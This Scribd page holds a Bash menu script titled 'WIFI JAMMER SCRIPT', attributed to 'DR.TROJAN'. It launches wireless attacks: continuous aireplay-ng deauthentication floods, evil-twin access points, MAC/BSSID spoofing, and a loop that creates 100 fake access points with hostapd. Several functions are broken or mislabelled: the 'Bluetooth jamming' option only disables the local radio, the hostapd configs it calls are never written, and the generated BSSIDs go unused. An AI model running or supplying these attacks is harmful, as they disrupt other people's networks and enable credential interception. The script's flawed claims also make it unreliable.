0% found this document useful (0 votes)
10 views3 pages

Text 1

This document is a Bash script for a WiFi jammer that provides a menu for various types of attacks, including deauthentication, evil twin, and Bluetooth jamming. Users can select options to start or stop attacks, spoof BSSIDs, and create multiple fake access points. The script continuously loops to display the menu until the user chooses to exit.

Uploaded by

Ali Sher
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views3 pages

Text 1

This document is a Bash script for a WiFi jammer that provides a menu for various types of attacks, including deauthentication, evil twin, and Bluetooth jamming. Users can select options to start or stop attacks, spoof BSSIDs, and create multiple fake access points. The script continuously loops to display the menu until the user chooses to exit.

Uploaded by

Ali Sher
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

#!

/bin/bash

# Display Banner
clear
echo "======================================"
echo " WIFI JAMMER SCRIPT"
echo "======================================"
echo " DR.TROJAN"
echo "======================================"

# Function to display the menu


show_menu() {
echo "Select an option:"
echo "1. Start Deauthentication Attack"
echo "2. Start Evil Twin Attack"
echo "3. Start Fake AP BSSID Spoofing"
echo "4. Start Channel Jamming"
echo "5. Start Fake AP & BSSID Spoofing (Simultaneous)"
echo "6. Start Bluetooth Jamming"
echo "7. Stop All Attacks"
echo "8. Start Randomized Fake AP & BSSID Spoofing (100 APs)"
echo "9. Exit"
echo "======================================"
echo -n "Enter choice [1-9]: "
read choice
case $choice in
1) deauth_attack ;;
2) evil_twin_attack ;;
3) fake_ap_bssid_spoof ;;
4) channel_jamming ;;
5) fake_ap_bssid_spoof_simultaneous ;;
6) bluetooth_jamming ;;
7) stop_all_attacks ;;
8) randomized_fake_aps ;;
9) exit 0 ;;
*) echo "Invalid option"; sleep 1; show_menu ;;
esac
}

# Option 1: Deauthentication Attack


deauth_attack() {
echo "Starting Deauthentication Attack..."
# Example deauth command (Change to your target BSSID and interface)
sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF wlan1
}

# Option 2: Evil Twin Attack


evil_twin_attack() {
echo "Starting Evil Twin Attack..."
# Example of Evil Twin Attack (Fake AP with same SSID)
sudo hostapd -B /tmp/hostapd.conf
}

# Option 3: Fake AP BSSID Spoofing


fake_ap_bssid_spoof() {
echo "Starting Fake AP BSSID Spoofing..."
# Example Fake AP with spoofed BSSID
sudo macchanger -r wlan1
sudo hostapd -B /tmp/hostapd.conf
}

# Option 4: Channel Jamming


channel_jamming() {
echo "Starting Channel Jamming..."
# Example Channel Jamming command (change to the channel you want to jam)
sudo iw dev wlan1 set channel 11
sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF wlan1
}

# Option 5: Fake AP & BSSID Spoofing Simultaneous


fake_ap_bssid_spoof_simultaneous() {
echo "Starting Fake AP BSSID Spoofing Simultaneously..."
# Start fake APs in the background
for i in {1..10}; do
sudo hostapd -B /tmp/hostapd_$i.conf
done
}

# Option 6: Bluetooth Jamming


bluetooth_jamming() {
echo "Starting Bluetooth Jamming..."
# Example Bluetooth jamming (adjust the command as needed)
sudo rfkill block bluetooth
}

# Option 7: Stop All Attacks


stop_all_attacks() {
echo "Stopping all attacks..."
sudo pkill hostapd
sudo pkill aireplay-ng
sudo pkill rfkill
}

# Option 8: Randomized Fake AP & BSSID Spoofing (Simultaneous AP Creation)


randomized_fake_aps() {
# Interface to use for fake AP creation (change wlan1 to your interface if
needed)
INTERFACE="wlan1"

# Loop to create 100 fake APs with BSSID ranging from 1 to 100
for i in {1..100}; do
# Format the BSSID as 00:11:22:33:44:XX where XX is the loop counter
BSSID=$(printf "00:11:22:33:44:%02d" $i)

# Set a random SSID for each fake AP


SSID="Fake-AP-$i"

# Randomize the MAC address of the AP (you can skip this part if you prefer
static MACs)
sudo macchanger -r $INTERFACE

# Create a temporary hostapd configuration file for the fake AP


HOSTAPD_CONF="/tmp/hostapd_$BSSID.conf"
echo "interface=$INTERFACE" > $HOSTAPD_CONF
echo "driver=nl80211" >> $HOSTAPD_CONF
echo "ssid=$SSID" >> $HOSTAPD_CONF
echo "hw_mode=g" >> $HOSTAPD_CONF
echo "channel=6" >> $HOSTAPD_CONF
echo "auth_algs=1" >> $HOSTAPD_CONF
echo "wmm_enabled=0" >> $HOSTAPD_CONF

# Start the fake AP using hostapd in the background


sudo hostapd -B $HOSTAPD_CONF

# Provide feedback
echo "[*] Fake AP $SSID with BSSID $BSSID created successfully."

# Sleep for a very short time before starting the next AP


sleep 0.1
done
}

# Main Menu Loop


while true; do
show_menu
done

You might also like